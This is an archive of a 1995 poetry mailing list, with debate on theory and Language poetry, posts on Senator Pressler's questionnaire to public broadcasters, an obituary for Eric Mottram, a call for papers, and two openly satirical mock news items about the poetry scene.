Re: reified names vs. boundless vocabulary
Mon 6 Feb 1995

Thanks to Tom Mandel for elaborating his comments, they were much appreciated. I must mull over the question of what provides space for poetry as it is worth a more detailed response than I am capable of at present. Spencer can butt in any time, as far as I'm concerned. It's fun.

Jeffrey Timmons

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47. Martin Spinelli
BIG BROTHER is asking
Mon 6 Feb 1995

Folks,

Senator Larry Pressler of South Dakota, chairman of the Senate Commerce Committee, recently sent a letter to the heads of the CPB, NPR, and PBS asserting that privatization/commercialization of public broadcasting was inevitable. The letter demands information to incriminate public broadcasting as purveyors of leftist dissent and asks for financial data (to expedite commercialization).

The Senator is angry at the CPB's meager attempts to protect itself by distributing information about the funding situation. Pressler is not content to simply rail against Frontline for bias, P.O.V. (independent video) for bias, and American Playhouse for nudity and profanity, he also decries underwriters for influencing program content (how this will be solved by the introduction of completely deregulated market forces and advertising remains unclear to me).

After Pressler's closed-door meetings with info-mogul Rupert Murdoch, a union shamefully under-reported, it now appears that expansion into the non-commercial bandwidth is the real prize for media conglomerates. Once they're sold off they're gone for good, reclaiming them would be next to impossible. This also sets a dangerous precedent for the net: if public educational programming is pushed off the air, how much bandwidth can we expect will be set aside for free educational use if they get around to carving up the internet?

If we sit by and shrug we'll get what we deserve: a sea of informercials, complimentary copy, Howard Stern, and Power Rangers, in perpetuity. I'll be posting a letter to download and send Pressler soon. Please do something.

I'm attaching an excerpted version of Pressler's questions. Credit where credit is due, he does manage to mention Paul DeMan and Barney on the same page. If you'd like the full text e-mail me at [redacted]; also, check out the usenet group wny.wbfo.

Martin Spinelli
Buffalo, NY

|

Dear Mr. Carlson:

Enclosed is a series of questions concerning the operation of public broadcasting. In addition to responses to these questions, please include any documentation, memos, meeting notes, contracts and any other written material to substantiate the answers to these questions.

Please respond to these questions by February 10, 1995.

Thank you for your prompt reply.

Sincerely,
(signed by Sen. Larry Pressler)
LP/dma

All answers to questions should be substantiated with written materials, documents, memos, meeting notes, contracts, etc.

5. Please detail all efforts by recipients of CPB funds to generate Congressional support for continued federal funding:

a. How much has been spent of this effort by all of public broadcasting?

b. How much has been spent to present the other side of this controversial issue?

e. Please list all news coverage and interview programs and provide transcripts.

f. Please explain how CPB has assured that this is balanced and objective coverage.

6. Does CPB have printed guidelines for grant applications for the program fund? How are decisions made on which programs to fund? At what stage are considerations of balance and objectivity brought to bear? Please explain step-by-step the processes involved.

d. Some have suggested the lack of competition in public television is due to anti-competitive practices at PBS. How is CPB working to increase competition and monitor collusion and pricefixing in public television?

2.) Please provide a list of controversial issues covered by NPR and related programs.

9. Of CPB's total budget, why is only $4 million allotted to the National Radio Program Production Fund?

e. Document each one of last year's awards and indicate how they fulfill your priorities to: 1) increase and/or diversify public radio's audience, 2) yield quality programming that is illuminating and inspiring as well as appealing, and 3) seek programmatic innovation.

j. Submit job descriptions of all 475 full time NPR employees. Include gender, age, time of service, salary, and ethnicity.

k. Please submit a list of regular part-time employees. Include gender, age, time of service, salary, and ethnicity.

10. CPB provides funding to PBS's National Program Service.

c. How are programs reviewed for objectivity and balance prior to funding? Please describe the process in detail. Does the CPB board participate in this process?

h. How are political balance and diverse religious and cultural perspectives represented?

i. Does CPB keep racial and ethnic data to assure compliance with EEOC directives? How does CPB ensure against religious discrimination? Please provide a copy of all guidelines.

j. Some producers feel that their applications do not receive full attention from CPB staff. Several months ago, one producer submitted a documentary proposal about the "United States Merchant Marine" to CPB President Carlson, who wrote back to say that he had passed it along to the programming department. The producer never heard from CPB again.

1.) What was the disposition of the Merchant Marine proposal?

7.) How many proposals does ITVS reject each year? Does ITVS provide a list and description of rejected proposals? If not, how can Congress provide effective oversight without knowing what was rejected, what was funded, and the reasons?

8.) Has ITVS rejected any proposals for a documentary on the controversy surrounding literary critic Paul DeMan, father of "deconstruction"? If so, please provide complete documentation for this decision, including panel comments.

12. What are the profit sharing provisions in CPB contracts with producers and stations who derive revenue from CPB supported productions?

a. Please provide copies of contracts with producers and copies of accounting for revenues and expenditures related to CPB financed distributors including:

1.) Children's Television Workshop, Inc.
2.) New York Center for Visual History, Inc.
3.) Public Affairs Television, Inc.
.
.
.

3.) What is the commercial value of the current public broadcasting system. That is, what is the comparative valuation of the hardware--satellite transponders, transmitters, studio , etc.--and software--library of programs belonging to system producers, goodwill, etc.?

4.) Please list the top 100 salaries paid related to public broadcasting. Include producers, vendors of merchandise, and executives of companies whose product is sold or displayed in public broadcasting.

5.) What is the value of real estate, stock and bond portfolios owned by public broadcasters and/or their parent organizations. Please break this down by station and include related production companies.

6.) What would be the value of comparable commercial time equivalent to that provided by public

broadcasting? Please provide a sample rate card for public radio and television.

13. Some critics have complained that "underwriting for content" is a form of payola or plugola.

a. How does CPB ensure that underwriting has no influence on programming?

d. Should the National Science Foundation be permitted to underwrite science coverage on NPR? Should it be permitted to underwrite a series on exploration for PBS?

e. Please provide a list of underwriters and the content area of programs they sponsor in public broadcasting.

h. The National Education Association sponsors news programming on NPR, for example. Does this create the impression of impropriety, since the NEA also attempts to influence legislation?

i. NPR spends its own money and resources on lobbying Capitol Hill. How does NPR keep its lobbying activities separate from its news broadcasts? Please provide documentation of the procedures.

m. Doesn't the requirement for balanced and objective coverage apply equally to the controversy over public broadcasting funding? If not, why not?

n. What amount of money has CPB spent on any and all advertising or promotion campaigns designed to increase public support for public broadcasting?

o. Has CPB ever spent any money on advertisements or promotions raising questions about the management and integrity of the public broadcasting system?

p. How can CPB justify spending money in advertising or promotions or money for only one side of the public broadcasting debate?

q. Please give a comparable market value for the air time on PBS stations for the Hal Riney spots promoting public broadcasting.

14. Some critics have complained that public broadcasting provides promotional value for books and other products in addition to educational services.

   a. Please list all books, records, CDs and other items promoted on public radio and television since 1992 at both a local and national level.

   b. Please list gross sales of these items, and analyze the contribution public broadcasting exposure might have had to their success.

      1.) For example, what were sales of Armistead Maupin's "Tales of the City" prior to the announcement of the PBS series? And what were they afterwards? How much money can one say Armistead Maupin made due to sales of his book through PBS promotion?

   c. How are books, records, and CDs chosen for promotion on PBS through related programming? Please describe the procedures used in each case since 1992.

15. Some conservative producers have complained of PBS executives giving them a hard time for ideological reasons.

   a. Please describe the changes PBS required in Michael Pack's film "Campus Culture Wars" and give the reason for each change. Were these types of editorial oversight decisions made by PBS executives prior to broadcast of "The liberators" and "Journey to the Occupied Lands?"

   b. Please describe the changes PBS is requiring in the second episode of "Reverse Angle" and the reasons for each change. Were these types of editorial oversight decisions made by PBS executives prior to broadcast of "the Liberators" and "Journey to the Occupied Lands"?

   c. Please describe the changes PBS required in the recent Ford Foundation-funded documentary about Community Development Corporations. If no changes were required, why not? How did this program meet PBS guidelines designed to prevent underwriters from benefitting from the subject matter of the programs they fund.

e. Have John Dinges at NPR and Mary Jane McKinven at PBS done a good job of assuring balance and objectivity in programming? If so, why are there so many complaints?

16. What steps has CPB taken since Sen. Dole's speech on "Barneygate" to participate in the profits of CPB funded programs? Please provide specific examples and copies of contracts.

17. Please provide a list of all political contributions over $250 dollars made by individuals employed by or working under contract for CPB-funded entities.

22. In 1992 Congress passed legislation requiring the CPB board of directors to take steps to insure balance and objectivity in programming, including the review of programs to identify balance programs and the commissioning of remedial programs.

a. How many programs did the CPB board review for balance and objectivity from 1992 to present?

b. How many programs were identified as having problems with balance and objectivity?

c. How many programs were funded to correct programs with balance and objectivity problems?

d. What procedures for review and commissioning of programs to ensure balance and objectivity have been established by the CPB board since 1992?

e. When CPB director Vic Gold complained about anti-semitic programming on a Pacifica radio station funded by CPB, did the CPB board review Pacifica's programming for balance and objectivity? If not, why not?

f. Without such a review, how can CPB assure Congress that Pacifica stations are fulfilling community service obligations under the public telecommunications act to provide excellence, diversity, objectivity, balance etc.?

k. How does CPB insure stations provide balance and objectivity in programming they produce and distribute?

l. Has CPB ever denied funding to a producing station because its productions were not balanced or objective?

m. If so, which stations?

n. If not, how did CPB determine productions from these stations were balanced or objective?

o. Has CPB ever denied funding to any station consortium because of complaints programs were not balanced or objective or for other reasons, since passage of the 1992 legislation?

1.) There have been complaints about Frontline from a variety of groups and individuals. Please provide correspondence between CPB and the Frontline consortium relating to issues of balance and objectivity in consortium programming.

2.) There have been complaints about The American Experience regarding programs, including "The Liberators." Please provide correspondence between CPB and The American Experience relating to issues of balance and objectivity in their programming.

3.) There have been complaints about American Playhouse programming on grounds of profanity, nudity, and indecency as well as questions of balance and objectivity. Please provide correspondence between CPB and American Playhouse in this regard.

p. Has CPB ever withheld funding from any other series or production entity because of failure to provide balanced and objective programming?

1.) There have been complaints about the P.O.V. series and ITVS's objectivity and balance. Please provide copies of correspondence with P.O.V. and ITVS relating to this issue.

2.) CPB director Vic Gold has inquired how a show called "Don't Believe the Hype" will treat this issue. Please provide copies of correspondence between CPB and the producers.

q. Has CPB ever commissioned a program or series specifically to balance an inadequate program or series?

r. Has CPB ever required a producer, station, or

↑ Index

48. Stephen Galen Cope

Poetry Fashion Benefit Falls Short

Mon 6 Feb 1995

Subject: Poetry Fashion Benefit Falls Short
Copyright: 1999 by The Anti-Hegemony Project
Date: 1 May 99 19:84 EST

Lines: 50

NEW YORK (AHP) -- Despite all the glitz and glamour of New York's po-literati, authors and publishers were unable to stitch together the fraying fabric of the once-famous National Endowment for the Arts. A cross-dressing fashion benefit called "Fidgety Spouting" nevertheless gave occasion for a poetry free-for-all that left participants wondering if it's all worth the effort. James Sherry, Segue's CEO, lent his bowery loft space for the showings, and gave the poets permission to use a recently abandoned building near famed punk rock club CBGB's for dressing. But the loft was too small to seat the long guest list, and the streets around CBGB's are no place for a ``signora'' to be walking, especially in mink and jewels.

Group bleari.nooz.fashion available 2001 - 2525 unread: 1

article 2524 31-MAY-1999 24:59:59

Even the cash bar offered by Sherry at the quickly planned romp was not enough to lift the spirits of the crowd, who fear the end of New York as a literary capital. Gone are the heady days of the 1960s when Frank O'Hara, Joe Brainard and Jim Brodey dressed as Giulietta Masina, Audrey Hepburn and Sophia Loren, sipping drinks with the world's titled and wealthy. Gone is Alice Notley, who single-handedly kept New York on the international lit map until she packed her bags for Paris. The fashionable pack who swoop into Paris and Vancouver have long ago abandoned New York. So have many of the top younger poets, presumably because the local publishers don't have enough money to put out their books. Despite their gratitude to Sherry, poets also lament the lack of a glamorous site for the readings. The Paris shows are at the Louvre. Last but not least was the quality of the poetry on the Bowery runway. Except for a tiny few such as Bernstein, Lauterbach and Godfrey, the big names are gone. The field is left to little-known writers catering mainly to the Lower East Side

Group bleari.nooz.fashion available: 2001 - 2525 unread: 1

article 2524 31-MAY-1999 23:59:59

``slacker'' crowd. ``What we have heard tonight was ugly self-indulgent lang-po dolled up with bridal gowns,'' said Rob Fitterman, who has helped run

the Ear Inn series for several years. ``Where is the music?'' Others were put off by the sameness of the verse. ``The dresses showed more imagination than the poetry,'' said Paul Beatty, who recalled in his own outfit the chic touch of his Southern California origins. Things got ugly when a restive Eileen Myles challenged the ``girls'' to submit to a wet t-shirt contest. ``Ladies, ladies!'' shouted a heavily made-up Bruce Andrews, ``Remember the '70s! Women's lib!'' If things don't change, says Fitterman, New York couture has ``a maximum of two more years of life.'' For the next round of the ``Fidgety Spouting'' events, Sherry has promised some of New York's most famous outdoor spots such as Times Square and the Central Park Reservoir, already the site of the televised fashion gala, ``Donne Sotto le Stelle.''

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49. James Sherry
Re: reified names vs. boundless vocabulary
Mon 6 Feb 1995

In the original Greek use of the word theory, it was not opposed to praxis but to doxa (orthodox), so that theory related to the conduct of the individual life and doxa to social conduct and rites in society. Ref: Habermas. I have an extensive discussion of this in Our Nuclear Heritage where the concept of theoretical poetry is broached.

James

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50. James Sherry
Re: the future of poetry (forwarded)
Mon 6 Feb 1995

Just taking this opportunity at the mention of the poets of Canada to add
to the list of poetry books addressing the subject of Language poetry
from the Canadians:
Alan Davies, *Signage* (Roof Books)
Steve McCaffery *North of Intention* (Roof Books co-published in Canada
by Nightwood)
and Steve's issue of *Open Letter* called "Politics of the Referent"
which was central to the process of "defining" language poetry for better
and for getting it labelled, but Steve referred to it as
"language-oriented" poetry (not the first time the phrase was used).

If you want to know it's there to be found out.

On Sun, 5 Feb 1995, George Bowering wrote:

> *Phew!*
> *Canada as a community on a par with Buffalo or Providence!*
> *That feels great!*

↑ Index

51. James Sherry

Re: reified names vs. boundless vocabulary

Mon 6 Feb 1995

You know Tom I wonder why with all this discussion of Apex, there have been no remarks from any of the signators which strikes me as what one person called Martini Terrorism or have they said it all in their magazine. Will you dance? If not, I suspect that the forum is too scrappy for a response which they would consider effective against the broadsides unloaded here. I too felt that when asked why I was interested in Lew's prose. I didn't want to expose my partially developed notions to the dogs of the net. How can we invite more varied response and still be able to say what we want. I mean it's fine for us to say what we think, but what about those of whom we are speaking? Jmaes

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52. I.LIGHTMAN

forwarded posting about Eric Mottram

Mon 6 Feb 1995

From: MX%"[redacted]" 3-FEB-1995 23:09:06.11
To: MX%"[redacted]"
CC:
Subj: Eric Mottram

03 Feb 1995 23:09:08 WET
<[redacted]>; Fri, 3 Feb 1995 22:58:50 +0000
for mailbase.ac.uk); Thu, 2 Feb 1995 21:38:09 GMT
<[redacted]> (8.6.8.1/ for mailbase.ac.uk) with
SMTP; Thu, 2 Feb 1995 21:37:40 GMT
Date: Thu, 02 Feb 95 17:22:21 +0000
From: Arnold Goldman <[redacted]>
To: [redacted]
Subject: Eric Mottram

The death of Eric Mottram has shocked those who knew how energetic he was to the last week of his life. That this was so, will give pleasure to all those who never saw him otherwise in his 40+ years as a teacher.

We will all have our particular memories. I lose count when I try to tally up the names of writers and titles whom I first heard of from Eric and who I cannot now imagine having "professed" American literature without having read. How DID he find out so fast? Eric was one of the original "networkers", who didn't need the electronic one. In fact, no "superhighways" for Eric (though they would fascinate him as a cultural phenomenon) - rather byways and the byways of byways, from which "probes" he would return with gold, frankincence and a lot of less salubrious matter. (He fell upon that McLuhan "probe" idea with a vengeance.)

I also recall telling Eric about the political machinations I was learning about when I went to work at the Council for National Awards. We walked endlessly up and down a tennis court at Bulmershe (as was), I think it was. He was so distressed at what I was telling him - "the bastards! the bastards! - that I found myself cheering HIM up. What good medicine.

I believe that King's is having a service for Eric on Friday 3 March.

Arnold Goldman
University of Kent at Canterbury

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53. I.LIGHTMAN

Re: apex of the m...

Mon 6 Feb 1995

Well, of course I posted a manifesto because I wanted to flush out some fellow spirits, not engage in debate - if I'd had a hope of that, of course I'd have sent a longer message. On a list where a really dumb message about aphasia can go out unchallenged - by people supposedly devoted to the politics of language definition - there ain't no shared values, and there ain't no space for civilised debate. I do have one civilised question: can anyone sell me a copy of Barrett Watten's Progress? I love the library copy I have and want my own. Is it still in print? A debating point, perhaps. In the American Tree is to my mind an astounding good piece of anthology editing - a very great book. This is why I have a lot of time for the comments Ron Silliman made on this list a while back about laissez-faire editing in the new poetry; he has cred on the subject. But editing is a big issue, alright: about how one looks at one's own work, and how one allows oneself to be theorised and institutionalised - the effort to influence this was what I love about the journals Poetic s Journal, and indeed L=A=N=G=U=A=G=E. So where'd it go? _From the Other Side of the Century_ is a terrible book, in my humble opinion - everyone represented by work referring to method, where Silliman represented writers by work either personally daring or descriptively oor energetically activating. From the Other

Side is about a poetics as a style, a garment, a ticket to esteem, a movement got lazy, where In The American Tree is about a movement breaking free and finding method and setting new agendas. Well, if G1 won't keep to that spirit, G2 will, and of course you won't like it.

Ira Lightman

[redacted]

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54. Steve Evans
Espousing Update 2/6
Mon 6 Feb 1995

Thanks

To Martin Spinelli for putting Senator Pressler's document before us in all its inquisitorial splendor. Perhaps we should be phoning his office and working through each of the questions with *his* staff?

And also to Ted Pelton for forwarding his Jan 13 Op-Ed piece. I am impressed by Rep. Russ Feingold's position: he says what too few arts advocates are willing to say.

It is true, as Ted points out, that editorials from "hometown" papers are often entered by the Representatives into the Congressional Record as an indication of how their constituents (are alleged to) feel. That Bob and Ted have both succeeded in placing their pieces is indeed encouraging.

San Diego

We spoke with Cole Heinowitz yesterday. She reports that plans are underway to invite Randy Cunningham to a "public forum" (hopefully to be held in Escondido) on the issue of federal arts funding. More specifics should be available after the next planning meeting, scheduled for a week from today. Anne Burt of LitNet will lend some assistance on this one, and we've tracked down some potential allies through our contacts as well.

February Art in America

Douglas Davis's "Multicultural Wars" is a good source for some background on the recent history of the Endowments. The piece is especially good at pinpointing the flaws in the "conciliatory strategy" adopted by many arts advocates in the past half-decade or so. Along with the *Voice* cover article of a week ago, this is great material to hand to someone who needs a rapid course in the shape this battle is taking.

One snippet: "The paradox buried beneath the continuing muteness of the mainstream liberal-left is that even today's politically fraught contemporary art could be easily defended. Long ago, proponents of today's avant-gardists should have argued that this democracy, or any democracy worth its name, thrives on dissent" (37).

Center for the Study of Popular Culture

The president of the above right-wing organization, Larry Jarvick, has been participating on the "Screen" list-serv that I monitor now and then. As you know, Jarvick is a key member of the assassination squad being sent after the Arts and Public Broadcasting. If people want to appeal to whatever reason he possesses, his e-mail address is: [redacted].

Copies of Flash Article

We faxed off a brief article about *FE* to Joyce Jenkins at Poetry Flash last night. As of yet, no confirmation that it will be run, but we should hear soon. In the meanwhile, if anyone would like a copy, drop us a note saying as much and we'll forward it to you via e-mail.

That's it for now.

Steve Evans and Jennifer Moxley
[redacted]
new improved e-mail address: [redacted]

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55. Carla Billitteri
Dissension in the ranks
Mon 6 Feb 1995

> *Subject: Dissension in the ranks as G1 set to discuss Buffalo*
> *Copyright: 1999 by The Anti-Hegemony Project*
> *Date: 1 Jun 99 15:15:15 EST*
> *Priority: Dally*
>
> *Lines: 73*
>
> *VANCOUVER (AHP) - Baby-Boomer poets of the United States and their Canadian allies were at odds over the handling of a rescue for Buffalo's Poetics Program as major players in Lang-Po prepared to open talks on ways to bolster the world's poetics system.*
> *The lessons from the Buffalo crisis will top the agenda of a two-day meeting of poetics program ministers and central publishers from the United States and Canada, as well as observers from Japan, Germany, France, Britain and Italy starting with a dinner tomorrow evening.*

Some Canadians made it clear just hours before the talks were set to begin that they were unhappy about how San Francisco had rushed through a rescue package for Buffalo this week.

---More---

Group bleari.biz.poesy.g1 available: 12345 - 23456 unread: 567

article 22978 21-JUN-1999 33:24:36

With Buffalo credibility and the New York State economy plunging, President Silliman yesterday abandoned a plan to get S.P.D. approval for book-loan guarantees but used his authority to promise an undisclosed amount in aid from a little-known Lang-Po theory stabilisation fund.

S.P.D. stands for Small Press Distribution, a program for distributing subsistence-reading allotments to underdeveloped writing centres. S.P.D. is partly funded by the National Endowment.

Silliman also announced that U.S. allies would contribute a visitor-donation package for Buffalo through the French-based Fondation Royaumont, and that the international Bureau of the Atlantic would make its biggest-ever contribution to Buffalo of Emmanuel Hocquard/Claude Royet-Journoud titles.

The Board of Directors of K.S.W. (the Kootenay School of Writing), which is meant to be the guardian of the world's poetics system, approved its share of the package this morning and no country voted against it, diplomats said in San Francisco.

But in a rare show of diplomatic pique, at least five Canadian and European poets expressed misgivings about the package.

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article 22978 21-JUN-1999 33:24:36

Nanni Balestrini and Nicole Brossard indicated before the K.S.W. board meeting that they wanted to abstain, as did Pierre Joris, who chose to cast his vote as a Luxemburger. Other poets rumoured to be on the fence included Steve McCaffery and Tom Raworth.

``The Europeans and Canadians feel this particular crisis is above all an American problem,'' said a senior Canadian official, who declined to be named.

James Sherry, who delivered President Silliman's message, suggested testily that George Bowering was the chief naysayer.

In another show of displeasure, Canadian nations had not

agreed on details of the financing being arranged through Segue, which groups central publishers from some 33 cities.

The exact share-out among the central publishers of the Segue loans to Buffalo was still under discussion as G1 prepared to open their talks.

U.S. officials stressed that they had to act quickly because they were convinced that Buffalo was in dire intellectual straits.

U.S. Treasury Secretary Tom Mandel said today that

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the Buffalo crisis highlighted the need to modernise international poetics programs so that they have the capability to deal quickly with problems posed by mushrooming G2 markets.

The run on Buffalo's ``New Spirit'' currency may not be the last market scare to hit the world in a new age where a million bandwidths are moved around the world instantly, K.S.W. Managing Director Susan Clark said.

``Let me say that this may be seen as the first major crisis of our new world of globalized writing networks to have hit a developing poetics program,'' Clark told a press conference in Vancouver.

Poetics ministers are expected to discuss in Toronto safeguards for early detection and prevention of a Buffalo-type crisis. Clark said K.S.W. may need a new infusion of money from its allies as a line of defence against such problems.

In addition to Buffalo, the G1 ministers will discuss the state of world poetry.

Since they last met in Paris in October, the Chechnya war has worsened the prospects for full scale Lang-Po investments in Russia,

---More---

Group bleari.biz.poesy.g1 available: 12345 - 23456 unread: 567

article 22978 21-JUN-1999 33:24:36

Italy has been forced to increase spending for battered-poet shelters after the return of fascism, while disinterest rates in old-style avant-garde writing have risen in several countries, including the United States, Canada and Britain.

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56. **Mark Roberts**

AWOL: Conference

Mon 6 Feb 1995

****

AUSTRALIAN WRITING ONLINE is a small press distribution service which we hope will help Australian magazines, journals and publishers to reach a much wider audience through the internet. As a first step we will be posting information and subscription details for a number of magazines and publishers to a number of discussion groups and lists. We hope to build up a large emailing list which includes as many libraries as possible. If you know of a list or discussion group which you think might be worthwhile posting to or, if you would like to receive future postings, please contact AWOL directly on [redacted].

Please note that [redacted] is a temporary address until we set up our own address sometime this year

****

GRIFFITH UNIVERSITY/JAMES COOK UNIVERSITY

QUEENSLAND STUDIES CENTRE ANNUAL CONFERENCE - 8-9 JULY

WAR'S END?

August 1945 marked the end of the most harrowing and transforming collective experience in the history of modern Australia. How much of the 'old' Australia came to an end with the cessation of hostilities, and how much continued as before? What different meanings did the War's end have for different groups and institutions in Australian society?

The Queensland Studies Centre will be holding its annual two-day conference, in association with the History Department of James Cook University, in Townsville, on 8-9 July of this year. Papers are invited which examine the myths and realities of the War's end - especially, though not exclusively, from the perspective of Queensland.

The conference will be interdisciplinary in scope, embracing military, social and cultural history; politics and political economy; literary and cultural studies. Papers exploring any of the following aspects of the topic would be welcome:

* literature and the arts
* education and social policy
* Aboriginal and ethnic communities
* women's history
* military and social history
* politics and industrial relations
* journalism and the media

Venue: Townsville, Queensland.

Date: 8-9 July, 1995.

Deadlines:
Offers of Papers: 31 March
Abstracts of Papers: 2 June

Expressions of interest should be forwarded to:

The Queensland Studies Centre (Director, Patrick Buckridge)
Faculty of Humanities
Griffith University
Nathan QLD 4111.
Tel: (07) 85 5494 Fax: (07) [redacted]
E-mail: [redacted]

Call for Papers

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57. Spencer Selby
Re: reified names vs. boundless vocabulary
Mon 6 Feb 1995

Art may be equipped to deal with "a man's total perception of relations," though probably not a woman's. Seriously, if you broaden the definition of theory to encompass this most hopeful, grandiose definition of art, then you've erased the difference between the two. Art may be able to do what theory or philosophy or other disciplines have failed to do. That is what Pound's statement means to me (and I don't care if that's not what he meant). Spencer Selby

On Sat, 4 Feb 1995, eric pape wrote:

> *Pound: A work of art, any serious work vivifies a man's total perception of relations.*
>
> *Maybe we need to broaden our definition of theory to "a man's total perception of relations." Just a thought, a gesture towards an imagined point of opening.*
>
> *Thanks, Eric (enpape.lsuvm.sncc.lsu.edu)*

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58. Spencer Selby
Re: Spencer's gauntlet, etc.
Mon 6 Feb 1995

> *On Thu, 2 Feb 1995, Spencer Selby wrote:*
>
> *Poetry/art has its own level, and whatever it is or may be, it is not the same as theory or criticism or writers' discourses or internet exchanges. This view may strike some as extreme, simplistic or old-fashioned, but I think it's dangerous when artists or critics start saying (or building contexts in which) their discourse is on the same level as the art.*
>
> *Why?*
>
> *Jeffrey Timmons*

Because that tips the balance in the direction of domination. When explainers make such claims for their explanations, art is the loser. This doesn't have to be so, but this is what has happened over the past 50 years or so. The framing of art has gotten increasingly more attention than the art itself. It's gotten so people can't tell the difference any more. They can't just bring themselves to a work of art, they're so fascinated or intimidated by all the discourse that they've forgotten what it's like to just let the work speak to them--that is, if they ever knew. Spencer Selby

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59. Spencer Selby
Re: reified names vs. boundless vocabulary
Mon 6 Feb 1995

Interesting point, though we all live here today, not in ancient Greece. The opposition or at least difference between theory and practice is real today, even if their relation was different then. Still, I do like yr addition of a new term to this discussion. I'm all for talking about the social conduct of writers, whether opposed to theory or not. (At the very least, it's a good source for humor, as is demonstrated by recent "news articles" sent to this forum.) Spencer Selby

On Mon, 6 Feb 1995, James Sherry wrote:

> *In the original Greek use of the word theory, it was not opposed to praxis but to doxa (orthodox), so that theory related to the conduct of the individual life and doxa to social conduct and rites in society. Ref: Habermas. I have an extensive discussion of this in Our Nuclear*

> *Heritage where the concept of theoretical poetry is broached.*
>
> *James*

↑ Index

60. Spencer Selby
Re: reified names vs. boundless vocabulary
Mon 6 Feb 1995

Dear Tom, I don't doubt that you have much knowledge about spirit. We could discuss the three kinds of spirit in the Jewish intellectual tradition, only it would be a pretty one-sided discussion, since I don't know that much about yr tradition. Not that I'm not interested--but a more pertinent question might be: Why aren't Lew Daly and his fellow editors interested? Spencer Selby

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61. Martin Spinelli
questioning BIG BROTHER
Mon 6 Feb 1995

Folks,

Here's a letter to send to Senator Pressler of South Dakota, chair of the Senate Commerce Committee that oversees funding to the CPB. The language is stilted as per convention--I want his staff to read it. The reasoning is from the 104th Congress, cut spending--it shows their contradiction in their own terms.

Don't get me wrong, I'm not defending American public broadcasting because I think it's brilliant. We have a long way to go before we gain the depth and diversity of the CBC, BBC, Rai Tre, etc. But it's the best we've got, and if the 104th has its way there will soon be nothing left to improve.

Download the letter. Chop it. Change it. But please send it!

--Martin Spinelli
>>>

As a hard-working citizen, I am concerned about how my tax dollars are spent. I am even more concerned about returns on my tax investment in the Federal Government.

I have recently read a report from the Reuter's about a letter you sent to the heads of the CPB, NPR, and PBS asking for financial information and predicting the inevitable commercialization of public broadcasting. You and your colleagues in the 104th Congress have been spending a disconcertingly large amount of time and resources in an attempt to convince Americans of the need to cut this infinitesimally small budget line (much less than one one- hundredth of one percent of the national budget) while ignoring potentially significant cuts in budget items that are no longer relevant or return nothing to citizens and communities. It appears that you are imprudently waging a costly ideological war at taxpayers' expense, and that cultural purification is more important to you and the new Congress than real reductions in spending.

I have enclosed a list of questions enquiring into how you are spending my tax money. I would like you to answer them as soon as possible. I will distribute your responses to major South Dakota newspapers, internet groups serving South Dakota, and national media agencies. If I receive no response from you by 25 Feb. 1995 I will report your lack of willingness to answer a citizen's request to these media sources.

Thank you for your prompt response.

Sincerely,

QUESTIONS

(Please document all responses adequately, i.e. contracts, minutes of meetings, memos, research reports, etc.)

1. How much of your time have you spent trying to persuade the American people that real budget relief could be accomplished if the Corporation for Public Broadcasting was cut?

a. What is the approximate cost to the American people of this expenditure of your time?

b. Have you ever instructed your staff, also paid with tax dollars, to work in advocating cuts to public broadcasting and at what cost to the taxpayer?

1.) Are you aware that the salaries of yourself and your staff are paid for %100 with tax-payer dollars while only %14 of public broadcasters' salaries are paid with tax money?

2.) Are you working %86 harder to find programs to cut within your own office and Congress? If not, why not?

c. Are you aware that funding to the CPB is only a tiny fraction of one percent of our national budget and cutting it in its entirety would do virtually nothing to alleviate budget pressure? If so, why are you spending so much time and energy trying to convince Americans it should be cut for the budget's sake?

d. Are you intentionally misleading the American people about the virtually nil reduction in the budget cutting the CPB would cause?

2. Please supply an itemized list of all contributions of more than $250 your staff has made to all political organizations since your election.

3. Please supply a list of the name, religion, income and membership in any political extremist group (i.e. the NRA, Right to Life, Moral Majority, etc.) of everyone on your staff.

4. Do you believe tax money should be used to defend the First Amendment to the Constitution?

a. Since public broadcasting is currently unlike commercial broadcasting in that is not merely billboard space for advertisers, how would commercial broadcasting, influenced and limited in form and content every ten to fifteen minutes by advertising, replace the unfettered information found on public broadcasting?

b. Does "balance" and "objectivity" in journalism mean that equal time should be given to sides of issues proven empirically or factually false?

1.) Do you agree with Newt Gingrich's former appointee to the position of House Historian that courses on the Holocaust should include space for a legitimation of the Nazi rationale?

2.) Would your definition of "balance" include giving equal time to Holocaust revisionists in a discussion of World War II, Ku Klux Klan members in a discussion of the Civil Rights struggle, or cigarette manufactures in a discussion of cancer?

c. Do you believe that whatever political party happens to be in power should be given oversight of any public medium?

d. Do you believe that completely commercial media can be "balanced" and "objective" even though they have to protect the sources of their revenue, for-profit corporations?

e. Do you believe that completely commercial media can report in a "balanced" fashion on things that might threaten their complete dominance, such as the unique value of public broadcasting, communication workers' labor talks, or the possible psychological damage or damage to families caused by persistent advertising?

5. Why was your meeting with Rupert Murdoch not opened to reporters?

a. How much have Rupert Murdoch, his associates, and his employees donated to your political campaigns?

b. Has Rupert Murdoch given any financial support or other resources to the campaign to convince Americans that budget problems would experience some relief if funding to the CPB was cut?

c. Has Rupert Murdoch promised you further generosity should you manage to kill funding to the CPB?

d. Were any of your staff at the meeting with Rupert Murdoch? If so, how much tax-payer money went to paying them while they were at the meeting?

e. Do you plan to meet with any other media moguls in the near future to discuss the selling off of public broadcasting bandwidths?

6. How much time in legal council was spent writing the 170-question CPB demand for information and at what cost to the taxpayer?

a. How much time do you estimate CPB employees will now have to spend answering this request and at what cost to the taxpayer?

b. Do you feel this money was well spent?

↑ Index

62. Jonathan Brannen
Re: apex of the m...
Mon 6 Feb 1995

Tom,
This isn't the Pessoa poem you referenced, but another that seems
not inappropriate:

IF THEY WANT ME TO BE A MYSTIC,
FINE. SO I'M A MYSTIC.

If they want me to be a mystic, fine. So I'm a mystic.
I'm a mystic, but only of the body.
My soul is simple; it doesn't think.

My mysticism consists in not desiring to know,
In living without thinking about it.

I don't know what Nature is; I sing it.
I live on a hilltop
In a solitary cabin.
And that's what it's all about.

(translated by Edwin Honig)

Jonathan Brannen

↑ Index

63. Ron Silliman
Re: apex of the m...
Tue 7 Feb 1995

That last line of Pessoa's

> *And that's what it's all about.*
>
> *(translated by Edwin Honig)*

is why I always pass on Edwin Honig's translations. How can he NOT hear "The Hokey Pokey" in that syntax?

↑ Index

64. Jonathan Brannen
Re: apex of the m...
Tue 7 Feb 1995

Ron, Maybe he Honig had his finger in his ear instead of the air. I wondered the same thing Hokey Pokey-wise, but gambled something of the piece would transcend translation.

transcendentally yours,
Jonathan Brannen

↑ Index

65. I.LIGHTMAN
Re: apex of the m...
Tue 7 Feb 1995

